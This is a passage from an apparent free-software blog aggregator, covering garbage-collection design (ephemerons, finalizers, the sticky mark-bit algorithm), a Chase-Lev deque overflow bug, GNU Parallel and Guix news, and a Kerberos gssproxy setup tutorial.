definitely alive by checking if it was visited already, but if it wasn't
visited yet that doesn't mean it's not live: we might just have not
gotten to it yet. Therefore one common implementation strategy is to
wait until tracing the object graph is done before tracing ephemerons.
But then we have another annoying problem, which is that tracing
ephemerons can result in finding more live ephemerons, requiring another
tracing cycle, and so on. Mozilla's Steve Fink wrote a nice article on
this
issue
earlier this year, with some mitigations.
finalizers aren't quite ephemerons
All that is by way of introduction. If you just have an object graph
with strong references and ephemerons, our definitions are clear and
consistent. However, if we add some more features, we muddy the waters.
Consider finalizers. The basic idea is that you can attach one or a
number of finalizers to an object, and that when the object becomes
unreachable (not live), the system will invoke a function. One way to
imagine this is a global association from finalizable object O to
finalizer F.
As it is, this definition is underspecified in a few ways. One, what
happens if F references O? It could be a GC-managed closure, after
all. Would that prevent O from being collected?
Ephemerons solve this problem, in a way; we could trace the table of
finalizers like a table of ephemerons. In that way F would only be
traced if O is live already, so that by itself it wouldn't keep O
alive. But then if O becomes dead, you'd want to invoke F, so you'd
need it to be live, so reachability of finalizers is not quite the same
as ephemeron-reachability: indeed logically all F values in the
finalizer table are live, because they all will be invoked at some
point.
In the end, if F references O, then F actually keeps O alive.
Whether this prevents O from being finalized depends on our definition
for finalizability. We could say that an object is finalizable if it is
found to be unreachable after a full trace, and the finalizers F are
in the root set. Or we could say that an object is finalizable if it is
unreachable after a partial trace, in which finalizers are not
themselves in the initial root set, and instead we trace them after
determining the finalizable set.
Having finalizers in the initial root set is unfortunate: there's no
quick check you can make when adding a finalizer to signal this problem
to the user, and it's very hard to convey to a user exactly how it is
that an object is referenced. You'd have to add lots of gnarly
documentation on top of the already
unavoidable
gnarliness
that you already had to write. But, perhaps it is a local maximum.
Incidentally, you might think that you can get around these issues by
saying "don't reference objects from their finalizers", and that's true
in a way. However it's not uncommon for finalizers to receive the
object being finalized as an argument; after all, it's that object which
probably encapsulates the information necessary for its finalization.
Of course this can lead to the finalizer prolonging the longevity of an
object, perhaps by storing it to a shared data structure. This is a
risk for correct program construction (the finalized object might
reference live-but-already-finalized
objects),
but not really a burden for the garbage collector, except in that it's a
serialization point in the collection algorithm: you trace, you compute
the finalizable set, then you have to trace the finalizables again.
ephemerons vs finalizers
The gnarliness continues! Imagine that O is associated with a
finalizer F, and also, via ephemeron E, some auxiliary data V.
Imagine that at the end of the trace, O is unreachable and so will be
dead. Imagine that F receives O as an argument, and that F looks
up the association for O in E. Is the association to V still
there?
Guile's
documentation
on guardians, a
finalization-like facility, specifies that weak associations
(i.e. ephemerons) remain in place when an object becomes collectable,
though I think in practice this has been broken since Guile switched to
the BDW-GC collector some 20 years ago or so and I would like to fix it.
One nice solution falls out if you prohibit resuscitation by not
including finalizer closures in the root set and not passing the
finalizable object to the finalizer function. In that way you will
never be able to look up E×O⇒V, because you don't have O. This
is the path that JavaScript has taken, for example, with
WeakMap
and
FinalizationRegistry.
However if you allow for resuscitation, for example by passing
finalizable objects as an argument to finalizers, I am not sure that
there is an optimal answer. Recall that with resuscitation, the trace
proceeds in three phases: first trace the graph, then compute and
enqueue the finalizables, then trace the finalizables. When do you
perform the conjunction for the ephemeron trace? You could do so after
the initial trace, which might augment the live set, protecting some
objects from finalization, but possibly missing ephemeron associations
added in the later trace of finalizable objects. Or you could trace
ephemerons at the very end, preserving all associations for finalizable
objects (and their referents), which would allow more objects to be
finalized at the same time.
Probably if you trace ephemerons early you will also want to trace them
later, as you would do so because you think ephemeron associations are
important, as you want them to prevent objects from being finalized, and
it would be weird if they were not present for finalizable objects.
This adds more serialization to the trace algorithm, though:
(Add finalizers to the root set?)
Trace from the roots
Trace ephemerons?
Compute finalizables
Trace finalizables (and finalizer closures if not done in 1)
Trace ephemerons again?
These last few paragraphs are the reason for today's post. It's not
clear to me that there is an optimal way to compose ephemerons and
finalizers in the presence of resuscitation. If you add finalizers to
the root set, you might prevent objects from being collected. If you
defer them until later, you lose the optimization that you can skip
steps 5 and 6 if there are no finalizables. If you trace
(not-yet-visited) ephemerons twice, that's overhead; if you trace them
only once, the user could get what they perceive as premature
finalization of otherwise reachable objects.
In Guile I think I am going to try to add finalizers to the root set,
pass the finalizable to the finalizer as an argument, and trace
ephemerons twice if there are finalizable objects. I think this wil
minimize incoming bug reports. I am bummed though that I can't
eliminate them by construction.
The 19th release of GNU Astronomy Utilities (Gnuastro) is now available. See the full announcement for all the new features in this release and the many bugs that have been found and fixed: https://lists.gnu.org/archive/html/info-gnuastro/2022-10/msg00001.html
I have had a personal server with the domain ‘ageinghacker.net’ since 2010. At the beginning I was sharing hosting costs with two or three other people, each of us running a virtual machine inside a Virtual Private Server. By 2016 my requirements had grown, I wanted stability and so decided to rent a VPS by myself. Around that time I had also decided to run a Tor exit node for the benefit of the global community, and more in general wanted my server to be in a country that allowed some freedom of speech; since I did not, then like ... [Read more]
GNU Parallel 20221022 ('Nord Stream') has been released. It is available for download at: lbry://@GnuParallel:4
Quote of the month:
If used properly, #gnuparallel actually enables time travel.
-- Dr. James Wasmuth @jdwasmuth@twitter
New in this release:
--latest-line chops line length at terminal width.
Determine max command length faster on Microsoft Windows.
Bug fixes and man page updates.
News about GNU Parallel:
Distributed Task Processing with GNU Parallel https://www.youtube.com/watch?v=usbMLggdMgc
GNU Parallel workflow for many small, independent runs https://docs.csc.fi/support/tutorials/many/
Copy a File To Multiple Directories With A Single Command on Linux https://www.linuxfordevices.com/tutorials/linux/copy-file-to-multiple-directories-with-one-command
Behind The Scenes: The Power Of Simple Command Line Tools At Cloud Scale https://blog.gdeltproject.org/behind-the-scenes-the-power-of-simple-command-line-tools-at-cloud-scale/
Run lz4 compression in parallel using GNU parallel https://www.openguru.com/2022/09/
Xargs / Parallel With Code Examples https://www.folkstalk.com/2022/09/xargs-parallel-with-code-examples.html
Parallel processing on a single node with GNU Parallel https://www3.cs.stonybrook.edu/~cse416/Section01/Slides/SeaWulfIntro_CSE416_09222022.pdf
Using GNU parallel painlessly -- from basics to bioinformatics job orchestration https://www.youtube.com/watch?v=qypUdm-IE9c
GNU Parallel - For people who live life in the parallel lane.
If you like GNU Parallel record a video testimonial: Say who you are, what you use GNU Parallel for, how it helps you, and what you like most about it. Include a command that uses GNU Parallel if you feel like it.
About GNU Parallel
GNU Parallel is a shell tool for executing jobs in parallel using one or more computers. A job can be a single command or a small script that has to be run for each of the lines in the input. The typical input is a list of files, a list of hosts, a list of users, a list of URLs, or a list of tables. A job can also be a command that reads from a pipe. GNU Parallel can then split the input and pipe it into commands in parallel.
If you use xargs and tee today you will find GNU Parallel very easy to use as GNU Parallel is written to have the same options as xargs. If you write loops in shell, you will find GNU Parallel may be able to replace most of the loops and make them run faster by running several jobs in parallel. GNU Parallel can even replace nested loops.
GNU Parallel makes sure output from the commands is the same output as you would get had you run the commands sequentially. This makes it possible to use output from GNU Parallel as input for other programs.
For example you can run this to convert all jpeg files into png and gif files and have a progress bar:
Watch the intro video on http://www.youtube.com/playlist?list=PL284C9FF2488BC6D1
Walk through the tutorial (man parallel_tutorial). Your command line will love you for it.
When using programs that use GNU Parallel to process data for publication please cite:
O. Tange (2018): GNU Parallel 2018, March 2018, https://doi.org/10.5281/zenodo.1146014.
If you like GNU Parallel:
Give a demo at your local user group/team/colleagues
Post the intro videos on Reddit/Diaspora*/forums/blogs/ Identi.ca/Google+/Twitter/Facebook/Linkedin/mailing lists
Get the merchandise https://gnuparallel.threadless.com/designs/gnu-parallel
Request or write a review for your favourite blog or magazine
Request or build a package for your favourite distribution (if it is not already there)
Invite me for your next conference
If you use programs that use GNU Parallel for research:
Please cite GNU Parallel in you publications (use --citation)
If GNU Parallel saves you money:
(Have your company) donate to FSF https://my.fsf.org/donate/
About GNU SQL
GNU sql aims to give a simple, unified interface for accessing databases through all the different databases' command line clients. So far the focus has been on giving a common way to specify login information (protocol, username, password, hostname, and port number), size (database and table size), and running queries.
The database is addressed using a DBURL. If commands are left out you will get that database's interactive shell.
When using GNU SQL for a publication please cite:
O. Tange (2011): GNU SQL - A Command Line Tool for Accessing Different Databases Using DBURLs, ;login: The USENIX Magazine, April 2011:29-32.
About GNU Niceload
GNU niceload slows down a program when the computer load average (or other system activity) is above a certain limit. When the limit is reached the program will be suspended for some time. If the limit is a soft limit the program will be allowed to run for short amounts of time before being suspended again. If the limit is a hard limit the program will only be allowed to run when the system is below the limit.
The Sticky Mark-Bit Algorithm
Also an intro to mark-sweep GC
7 Oct 2022 – Igalia
Andy Wingo
A funny post today; I gave an internal presentation at work recently
describing the so-called "sticky mark bit" algorithm. I figured I might
as well post it here, as a gift to you from your local garbage human.
Automatic Memory Management
“Don’t free, the system will do it for you”
Eliminate a class of bugs: use-after-free
Relative to bare malloc/free, qualitative performance improvements
cheap bump-pointer allocation
cheap reclamation/recycling
better locality
Continuum: bmalloc / tcmalloc grow towards GC
Before diving in though, we start with some broad context about
automatic memory management. The term mostly means "garbage
collection" these days, but really it describes a component of a system
that provides fresh memory for new objects and automatically reclaims memory for objects that won't be needed in the program's future. This stands in
contrast to manual memory management, which relies on the programmer
to free their objects.
Of course, automatic memory management ensures some valuable system-wide
properties, like lack of use-after-free
vulnerabilities. But also by
enlarging the scope of the memory management system to include full
object lifetimes, we gain some potential speed benefits, for example
eliminating any cost for free, in the case of e.g. a semi-space
collector.
Automatic Memory Management
Two strategies to determine live object graph
Reference counting
Tracing
What to do if you trace
Mark, and then sweep or compact
Evacuate
Tracing O(n) in live object count
I should mention that reference counting is a form of automatic memory
management. It's not enough on its own; unreachable cycles in the object reference
graph have to be detected either by a heap tracer or broken by weak references.
It used to be that we GC nerds made fun of reference counting as being
an expensive, half-assed solution that didn't work very well, but there have been
some fundamental advances in the state of the
art in
the last 10 years or so.
But this talk is more about the other kind of memory management, which
involves periodically tracing the graph of objects in the heap.
Generally speaking, as you trace you can do one of two things: mark
the object, simply setting a bit indicating that an object is live, or
evacuate the object to some other location. If you mark, you may
choose to then compact by sliding all objects down to lower addresses,
squeezing out any holes, or you might sweep all holes into a free list
for use by further allocations.
Mark-sweep GC (1/3)
```
freelist := []
allocate():
if freelist is empty: collect()
return freelist.pop()
collect():
mark()
sweep()
if freelist is empty: abort
```
Concretely, let's look closer at mark-sweep. Let's assume for the
moment that all objects are the same size. Allocation pops fresh
objects off a freelist, and collects if there is none. Collection does
a mark and then a sweep, aborting if sweeping yielded no free objects.
Mark-sweep GC (2/3)
```
mark():
worklist := []
for ref in get_roots():
if mark_one(ref):
worklist.add(ref)
while worklist is not empty:
for ref in trace(worklist.pop()):
if mark_one(ref):
worklist.add(ref)
sweep():
for ref in heap:
if marked(ref):
unmark_one(ref)
else
freelist.add(ref)
```
Going a bit deeper, here we have some basic implementations of mark
and sweep. Marking starts with the roots: edges from outside the
automatically-managed heap indicating a set of initial live objects.
You might get these by maintaining a stack of objects that are currently
in use. Then it traces references from these roots to other objects,
until there are no more references to trace. It will visit each live
object exactly once, and so is O(n) in the number of live objects.
Sweeping requires the ability to iterate the heap. With the
precondition here that collect is only ever called with an empty
freelist, it will clear the mark bit from each live object it sees, and
otherwise add newly-freed objects to the global freelist. Sweep is O(n)
in total heap size, but some optimizations can amortize this cost.
Mark-sweep GC (3/3)
```
marked := 1
get_tag(ref):
return (uintptr_t)ref
set_tag(ref, tag):
(uintptr_t)ref = tag
Finally, some details on how you might represent a mark bit. If a ref
is a pointer, we could store the mark bit in the first word of the
objects, as we do here. You can choose instead to store them in a side
table, but it doesn't matter for today's example.
Observations
Freelist implementation crucial to allocation speed
Non-contiguous allocation suboptimal for locality
World is stopped during collect(): “GC pause”
mark O(n) in live data, sweep O(n) in total heap size
Touches a lot of memory
The salient point is that these O(n) operations happen when the world is
stopped. This can be noticeable, even taking seconds for the largest
heap sizes. It sure would be nice to have the benefits of GC, but with
lower pause times.
Optimization: rotate mark bit
```
flip():
marked ^= 1
collect():
flip()
mark()
sweep()
if freelist is empty: abort
unmark_one(ref):
pass
```
Avoid touching mark bits for live data
Incidentally, before moving on, I should mention an optimization to mark
bit representation: instead of clearing the mark bit for live objects
during the sweep phase, we could just choose to flip our interpretation
of what the mark bit means. This allows unmark_one to become a no-op.
Reducing pause time
Parallel tracing: parallelize mark. Clear improvement, but speedup depends on object graph shape (e.g. linked lists).
Concurrent tracing: mark while your program is running. Tricky, and not always a win (“Retrofitting Parallelism onto OCaml”, ICFP 2020).
Partial tracing: mark only a subgraph. Divide space into regions, record inter-region links, collect one region only. Overhead to keep track of inter-region edges.
Now, let's revisit the pause time question. What can we do about it?
In general there are three strategies.
Generational GC
Partial tracing
Two spaces: nursery and oldgen
Allocations in nursery (usually)
Objects can be promoted/tenured from nursery to oldgen
Minor GC: just trace the nursery
Major GC: trace nursery and oldgen
“Objects tend to die young”
Overhead of old-to-new edges offset by less amortized time spent tracing
Today's talk is about partial tracing. The basic idea is that instead
of tracing the whole graph, just trace a part of it, ideally a small
part.
A simple and effective strategy for partitioning a heap into subgraphs
is generational garbage collection. The idea is that objects tend to
die young, and that therefore it can be profitable to focus attention on
collecting objects that were allocated more recently. You therefore
partition the heap graph into two parts, young and old, and you
generally try to trace just the young generation.
The difficulty with partitioning the heap graph is that you need to
maintain a set of inter-partition edges, and you do so by imposing
overhead on the user program. But a generational partition minimizes
this cost because you never have to collect just the old generation, so
you don't need to remember new-to-old edges, and mutations of old
objects are less common than new.
Generational GC
Usual implementation: semispace nursery and mark-compact oldgen
Tenuring via evacuation from nursery to oldgen
Excellent locality in nursery
Very cheap allocation (bump-pointer)
But... evacuation requires all incoming edges to an object to be updated to new location
Requires precise enumeration of all edges
Usually the generational partition is reflected in the address space:
there is a nursery and it is in these pages and an oldgen in these other
pages, and never the twain shall meet. To tenure an object is to
actually move it from the nursery to the old generation. But moving
objects requires that the collector be able to enumerate all incoming
edges to that object, and then to have the collector update them, which
can be a bit of a hassle.
JavaScriptCore
No precise stack roots, neither in generated nor C++ code
Compare to V8’s Handle<> in C++, stack maps in generated code
Stack roots conservative: integers that happen to hold addresses of objects treated as object graph edges
(Cheaper implementation strategy, can eliminate some bugs)
Specifically in JavaScriptCore, the JavaScript engine of WebKit and the
Safari browser, we have a problem. JavaScriptCore uses a technique
known as "conservative root-finding": it just iterates over the words in
a thread's stack to see if any of those words might reference an object
on the heap. If they do, JSC conservatively assumes that it is indeed a
reference, and keeps that object live.
Of course a given word on the stack could just be an integer which
happens to be an object's address. In that case we would hold on to too
much data, but that's not so terrible.
Conservative root-finding is again one of those things that GC nerds
like to make fun of, but the pendulum seems to be swinging back its way;
perhaps another article on that some other day.
The other thing about JSC is that it is constantly under attack by
malicious web sites, and that any bug in it is a step towards hackers
taking over your phone. Besides bugs inside JSC, there are bugs also in
the objects exposed to JavaScript from the web UI. Although
use-after-free bugs are impossible with a fully traceable object graph,
references to and from DOM objects break this precondition.
In brief, there seems to be a decent case for trying to mitigate
use-after-free bugs. Beyond the nuclear option of not freeing, one step
we could take would be to avoid re-using memory between objects of
different shapes. So you have a heap for objects with 3 fields, another
objects with 4 fields, and so on.
But it would seem that this mitigation is at least somewhat incompatible
with the usual strategy of generational collection, where we use a
semi-space nursery. The nursery memory gets re-used all the time for
all kinds of objects. So does that rule out generational collection?
Sticky mark bit algorithm
```
collect(is_major=false):
if is_major: flip()
mark(is_major)
sweep()
if freelist is empty:
if is_major: abort
collect(true)
mark(is_major):
worklist := []
if not is_major:
worklist += remembered_set
remembered_set := []
...
```
Turns out, you can generationally partition a mark-sweep heap.
The trick is that you just don't clear the mark bit when you start a
minor collection (just the nursery). In that way all objects that were
live at the previous collection are considered the old generation.
Marking an object is tenuring, in-place.
There are just two tiny modifications to mark-sweep to implement sticky
mark bit collection: one, flip the mark bit only on major collections;
and two, include a remembered set in the roots for minor collections.
Sticky mark bit algorithm
Mark bit from previous trace “sticky”: avoid flip for minor collections
Consequence: old objects not traced, as they are already marked
Old-to-young edges: the “remembered set”
Write barrier
write\_field(object, offset, value):
remember(object)
object[offset] = value
The remembered set is maintained by instrumenting each write that the
program makes with a little call out to code from the garbage collector.
This code is the write barrier, and here we use it to add to the set
of objects that might reference new objects. There are many ways to
implement this write barrier but that's a topic for another day.
Concurrent GC: mark runs while JS program running; “riptide”; interaction with write barriers
Generational GC: in-place, non-moving GC generational via sticky mark bit algorithm
Alan Demers, “Combining generational and conservative garbage collection: framework and implementations”, POPL ’90
So returning to JavaScriptCore and the general techniques for reducing
pause times, I can summarize to note that it does them all. It traces
both in parallel and concurrently, and it tries to trace just
newly-allocated objects using the sticky mark bit algorithm.
Conclusions
A little-used algorithm
Motivation for JSC: conservative roots
Original motivation: conservative roots; write barrier enforced by OS-level page protections
Revived in “Sticky Immix”
Better than nothing, not quite as good as semi-space nursery
I find that people that are interested in generational GC go straight
for the semispace nursery. There are some advantages to that approach:
allocation is generally cheaper in a semispace than in a mark space,
locality among new objects is better, locality after tenuring is better, and
you have better access locality during a nursery collection.
But if for some reason you find yourself unable to enumerate all roots,
you can still take advantage of generational collection via the sticky
mark-bit algorithm. It's a simple change that improves performance, as
long as you are able to insert write barriers on all heap object mutations.
The challenge with a sticky-mark-bit approach to generations is avoiding the O(n) sweep phase. There are a few strategies, but more on that another day perhaps.
And with that, presentation done. Until next time, happy hacking!
October 21st marks Global Encryption Day, a time that calls to
mind the many benefits of an unfairly (but increasingly) maligned
technology. This has given us an occasion to reflect on recent attacks
to encryption on the part of governments, specifically the European
Union.
The Free Software Foundation (FSF) is looking for interns to spend the
winter contributing to work in one of three areas: campaigns,
licensing, or with our tech team. Apply by November 10
On a day like this, October 12th, 2008, I registered the “Medical” project at SourceForge. Fourteen years later, GNU Health has become the Libre digital health ecosystem used by governments, hospitals, laboratories, research institutions and health professionals around the globe.
I want to sincerely thank all the professionals who believed in the project since early on… from small clinics in the African rain forest, to many public primary care institutions in Argentina, to the largest hospital in India and Asia (AIIMS).
GNU Health, the Libre digital health ecosystem
Institutions such as the University of Entre Rios in Argentina, Leibniz University Hanover, the United Nations Institute for Global Health, the World Health organization and the European Bioinformatics Institute (EBI), Digital Public Goods Alliance, have helped the GNU Health project, by providing training, implementations or valuable resources in areas related to coding standards and medical genetics.
Many thanks to our sponsors, particularly Thymbra and openSUSE who have been supporting GNU Health since day one, sponsoring our annual congress (GNUHealthCon). In addition, openSUSE has donated raspberry pi devices for development and for implementation projects, as well as packaging GNU Health for their distribution. Thank you Fosshost, for all this years of hosting the GNU Health HMIS and the BigBlueButton for our conferences!
Thank you European Open Source Observatory Repository (OSOR) / Joinup and the Free Software Foundation Europe for your work in making GNU Health a reality in Europe, specially in the Public Health sector.
Immense gratitude to the GNU operating system, particularly, to Richard Stallman -father of the Free Software movement- who in 2011 declared GNU Health an official GNU project. Since that day, all the components of the GH ecosystem are hosted in Savannah.
GNU Health is an official GNU Package
The GNU Health ecosystem would not exist today without the Libre Software community. Excellent Libre projects like Tryton, LibreOffice, PostgreSQL, Flask, Python, GNUPG, Apache, and many others make GNU Health a reality. We’re so happy to count with our sister community Orthanc, a great Libre Medical Imaging project that makes the perfect GNU Health partner in hospital settings and diagnostic imaging.
Last but not least: Thank you to the core team and to the community around the world: Developers, testers, translators, artists, documentation team, podcasters and journalists … I can not name you all… but the success of GNU Health belongs to you.
On a day like this, 14 years ago, the revolution for freedom and equity in healthcare began. And this is just starting…. at GNU Solidario, we’ll keep on advancing Social Medicine, and fighting so health remains a non-negotiable human right, no matter where you live. After all, GNU Health is a Social project with a little bit of technology behind.
“The GNU Hackers’ Meetings or ‘GHMs’ are a venue to discuss technical topics related to GNU and free software” says the web site (https://www.gnu.org/ghm/). And GHMs are in fact events structured as technical conferences, with presentation slides and all. But if we attend every year since 2007 or so, and organise, it is mostly for the fun of spending time with our GNU friends in a relaxed environment. After many years in which GNU Hackers’ Meetings took place in Europe for no particular reason other than we GHM regulars living in Europe, we opted to hold GHM 2022 (https://www.gnu.org/ghm/2022/) in ... [Read more]
Hello all, a quick post today. Inspired by Rust as a Language for High Performance GC Implementation by Yi Lin et al, a few months ago I had a look to see how the basic Rust concurrency facilities that they used were implemented.
One of the key components that Lin et al used was a Chase-Lev work-stealing double-ended queue (deque). The 2005 article Dynamic Circular Work-Stealing Deque by David Chase and Yossi Lev is a nice read defining this data structure. It's used when you have a single producer of values, but multiple threads competing to claim those values. This is useful when implementing per-CPU schedulers or work queues; each CPU pushes on any items that it has to its own deque, and pops them also, but when it runs out of work, it goes to see if it can steal work from other CPUs.
The 2013 paper Correct and Efficient Work-Stealing for Weak Memory Models by Nhat Min Lê et al updates the Chase-Lev paper by relaxing the concurrency primitives from the original big-hammer sequential-consistency operations used in the Chase-Lev paper to an appropriate mix of C11 relaxed, acquire/release, and sequentially-consistent operations. The paper therefore has a C11 translation of the original algorithm, and a proof of correctness. It's quite pleasant. Here's the a version in Rust's crossbeam crate, and here's the same thing in C.
I had been using this updated C11 Chase-Lev deque implementation for a while with no complaints in a parallel garbage collector. Each worker thread would keep a local unsynchronized work queue, which when it grew too large would donate half of its work to a per-worker Chase-Lev deque. Then if it ran out of work, it would go through all the workers, seeing if it could steal some work.
My use of the deque was thus limited to only the push and steal primitives, but not take (using the language of the Lê et al paper). take is like steal, except that it takes values from the producer end of the deque, and it can't run concurrently with push. In practice take only used by the the thread that also calls push. Cool.
Well I thought, you know, before a worker thread goes to steal from some other thread, it might as well see if it can do a cheap take on its own deque to see if it could take back some work that it had previously offloaded there. But here I ran into a bug. A brief internet search didn't turn up anything, so here we are to mention it.
Specifically, there is a bug in the Lê et al paper that is not in the Chase-Lev paper. The original paper is in Java, and the C11 version is in, well, C11. The issue is.... integer overflow! In brief, push will increment bottom, and steal increments top. take, on the other hand, can decrement bottom. It uses size_t to represent bottom. I think you see where this is going; if you take on an empty deque in the initial state, you create a situation that looks just like a deque with (size_t)-1 elements, causing garbage reads and all kinds of delightful behavior.
The funny thing is that I looked at the proof and I looked at the industrial applications of the deque and I thought well, I just have to transcribe the algorithm exactly and I'll be golden. But it just goes to show that proving one property of an algorithm doesn't necessarily imply that the algorithm is correct.
Two weeks ago, some of us were in Paris, France, to celebrate ten years
of Guix! The event included 22 talks and
12 lightning talks, covering topics ranging from reproducible research
on Friday and Guix
hacking on Saturday
and Sunday.
If you couldn’t make it in Paris, and if you missed the live stream, we
have some good news: videos of the talks and supporting material are
now available from the program
page!
If you weren’t there, there are things you definitely missed though:
more than 60 participants from a diverse range of backgrounds—a rare
opportunity for scientists and hackers to meet!—, impromptu discussions
and encounters, and of course not one but two crazy birthday cakes
(yup! on one day it was vanilla/blueberry-flavored, and on the other day
it was chocolate/passion fruit, but both were equally beautiful!).
There are a few more pictures on
the web site.
It might seem a bit of a stretch at first, but there is a connection
between, say, bioinformatics
pipelines,
OCaml
bootstrapping,
and Guix
Home:
it’s about deploying complex software stacks in a way that is not only
convenient but also transparent and reproducible. It’s about retaining
control, both collectively and individually, over the “software supply
chain” at a time when the most popular option is to give up.
We have lots of people to thank, starting with the speakers and
participants: thanks for sharing your knowledge and enthusiasm, and
thank you for making it a warm and friendly event! Thanks to the
sponsors of the event without
which all this would have been impossible.
Special thanks to Nicolas Dandrimont of the Debian video team for
setting up the video equipment, tirelessly working during all three days
and even afterwards to prepare the “final cut”—you rock!! Thanks to Leo
Famulari for setting up the live streaming server on short notice, and
to Luis Felipe for designing the unanimously acclaimed Ten Years of Guix
graphics, the kakemono, and the video intros and outros (check out the
freely-licensed SVG
source!),
all that under pretty tight time constraints. Thanks also to Andreas
Enge with their Guix Europe hat on for addressing last-minute hiccups
behind the scenes.
Organizing this event has certainly been exhausting, but seeing it come
true and meeting both new faces and old-timers was a great reward for
us. Despite the occasional shenanigans—delayed talks, one talk
cancellation, and worst of all: running out of coffee and tea after
lunch—we hope it was enjoyable for all.
For those in Europe, our next in-person meeting is probably going to be
FOSDEM. And maybe this will inspire some to organize events in other
regions of the world and/or on-line meetups!
About GNU GuixGNU Guix is a transactional package manager and
an advanced distribution of the GNU system that respects user
freedom.
Guix can be used on top of any system running the Hurd or the Linux
kernel, or it can be used as a standalone operating system distribution
for i686, x86_64, ARMv7, AArch64, and POWER9 machines.
In addition to standard package management features, Guix supports
transactional upgrades and roll-backs, unprivileged package management,
per-user profiles, and garbage collection. When used as a standalone
GNU/Linux distribution, Guix offers a declarative, stateless approach to
operating system configuration management. Guix is highly customizable
and hackable through Guile
programming interfaces and extensions to the
Scheme language.
Python 2 went end of life January 2020. Since then Arch has been actively cutting down the number of projects depending on python2 in their repositories, and they have finally been able to drop it from our distribution, making it disappear from Parabola too. If you still have python2 installed on your system consider removing it and any python2 package.
If you still require the python2 package you can keep it around, but please be aware that there will be no security updates.
GNU Parallel 20220922 ('Elizabeth') has been released. It is available for download at: lbry://@GnuParallel:4
Quote of the month:
reduced our backend test pipelines from 4 to 1.30 hrs. gnu parallel for the win!!!
-- Swapnil Sahu @CaffeinatedWryy@twitter
New in this release:
--colour-failed only changes output for failing jobs.
Password for --sshlogin can be put in $SSHPASS.
Examples are moved from man parallel to man parallel\_examples.
Bug fixes and man page updates.
News about GNU Parallel:
WOMM - Works On My Machine uses GNU Parallel https://pypi.org/project/womm/
GNU Parallel - For people who live life in the parallel lane.
If you like GNU Parallel record a video testimonial: Say who you are, what you use GNU Parallel for, how it helps you, and what you like most about it. Include a command that uses GNU Parallel if you feel like it.
About GNU Parallel
GNU Parallel is a shell tool for executing jobs in parallel using one or more computers. A job can be a single command or a small script that has to be run for each of the lines in the input. The typical input is a list of files, a list of hosts, a list of users, a list of URLs, or a list of tables. A job can also be a command that reads from a pipe. GNU Parallel can then split the input and pipe it into commands in parallel.
If you use xargs and tee today you will find GNU Parallel very easy to use as GNU Parallel is written to have the same options as xargs. If you write loops in shell, you will find GNU Parallel may be able to replace most of the loops and make them run faster by running several jobs in parallel. GNU Parallel can even replace nested loops.
GNU Parallel makes sure output from the commands is the same output as you would get had you run the commands sequentially. This makes it possible to use output from GNU Parallel as input for other programs.
For example you can run this to convert all jpeg files into png and gif files and have a progress bar:
Watch the intro video on http://www.youtube.com/playlist?list=PL284C9FF2488BC6D1
Walk through the tutorial (man parallel_tutorial). Your command line will love you for it.
When using programs that use GNU Parallel to process data for publication please cite:
O. Tange (2018): GNU Parallel 2018, March 2018, https://doi.org/10.5281/zenodo.1146014.
If you like GNU Parallel:
Give a demo at your local user group/team/colleagues
Post the intro videos on Reddit/Diaspora*/forums/blogs/ Identi.ca/Google+/Twitter/Facebook/Linkedin/mailing lists
Get the merchandise https://gnuparallel.threadless.com/designs/gnu-parallel
Request or write a review for your favourite blog or magazine
Request or build a package for your favourite distribution (if it is not already there)
Invite me for your next conference
If you use programs that use GNU Parallel for research:
Please cite GNU Parallel in you publications (use --citation)
If GNU Parallel saves you money:
(Have your company) donate to FSF https://my.fsf.org/donate/
About GNU SQL
GNU sql aims to give a simple, unified interface for accessing databases through all the different databases' command line clients. So far the focus has been on giving a common way to specify login information (protocol, username, password, hostname, and port number), size (database and table size), and running queries.
The database is addressed using a DBURL. If commands are left out you will get that database's interactive shell.
When using GNU SQL for a publication please cite:
O. Tange (2011): GNU SQL - A Command Line Tool for Accessing Different Databases Using DBURLs, ;login: The USENIX Magazine, April 2011:29-32.
About GNU Niceload
GNU niceload slows down a program when the computer load average (or other system activity) is above a certain limit. When the limit is reached the program will be suspended for some time. If the limit is a soft limit the program will be allowed to run for short amounts of time before being suspended again. If the limit is a hard limit the program will only be allowed to run when the system is below the limit.
To protect web resources with Kerberos you may use Apache HTTPD with mod_auth_gssapi — however, all web scripts (e.g., PHP) run under Apache will have access to the Kerberos long-term symmetric secret credential (keytab). If someone can get it, they can impersonate your server, which is bad.
The gssproxy project makes it possible to introduce privilege separation to reduce the attack surface. There is a tutorial for RPM-based distributions (Fedora, RHEL, AlmaLinux, etc), but I wanted to get this to work on a DPKG-based distribution (Debian, Ubuntu, Trisquel, PureOS, etc) and found it worthwhile to document the process. I’m using Ubuntu 22.04 below, but have tested it on Debian 11 as well. I have adopted the gssproxy package in Debian, and testing this setup is part of the scripted autopkgtest/debci regression testing.
This should give you a working and running web server. Verify it is operational under the proper hostname, I’ll use foo.sjd.se in this writeup.
root@foo:~# curl --head http://foo.sjd.se/
HTTP/1.1 200 OK
…
The next step is to create a keytab containing the Kerberos V5 secrets for your host, the exact steps depends on your environment (usually kadmin ktadd or ipa-getkeytab), but use the string “HTTP/foo.sjd.se” and then confirm using something like the following.
The file should be owned by root and not be in the default /etc/krb5.keytab location, so Apache’s libapache2-mod-auth-gssapi will have to use gssproxy to use it.
Then configure gssproxy to find the credential and use it with Apache.
You should see something like this in the log file:
Sep 18 07:03:15 foo gssproxy[4076]: [2022/09/18 05:03:15]: Exiting after receiving a signal
Sep 18 07:03:15 foo systemd[1]: Stopping GSSAPI Proxy Daemon…
Sep 18 07:03:15 foo systemd[1]: gssproxy.service: Deactivated successfully.
Sep 18 07:03:15 foo systemd[1]: Stopped GSSAPI Proxy Daemon.
Sep 18 07:03:15 foo gssproxy[4092]: [2022/09/18 05:03:15]: Debug Enabled (level: 1)
Sep 18 07:03:15 foo systemd[1]: Starting GSSAPI Proxy Daemon…
Sep 18 07:03:15 foo gssproxy[4093]: [2022/09/18 05:03:15]: Kernel doesn't support GSS-Proxy (can't open /proc/net/rpc/use-gss-proxy: 2 (No such file or directory))
Sep 18 07:03:15 foo gssproxy[4093]: [2022/09/18 05:03:15]: Problem with kernel communication! NFS server will not work
Sep 18 07:03:15 foo systemd[1]: Started GSSAPI Proxy Daemon.
Sep 18 07:03:15 foo gssproxy[4093]: [2022/09/18 05:03:15]: Initialization complete.
The NFS-related errors is due to a default gssproxy configuration file, it is harmless and if you don’t use NFS with GSS-API you can silence it like this:
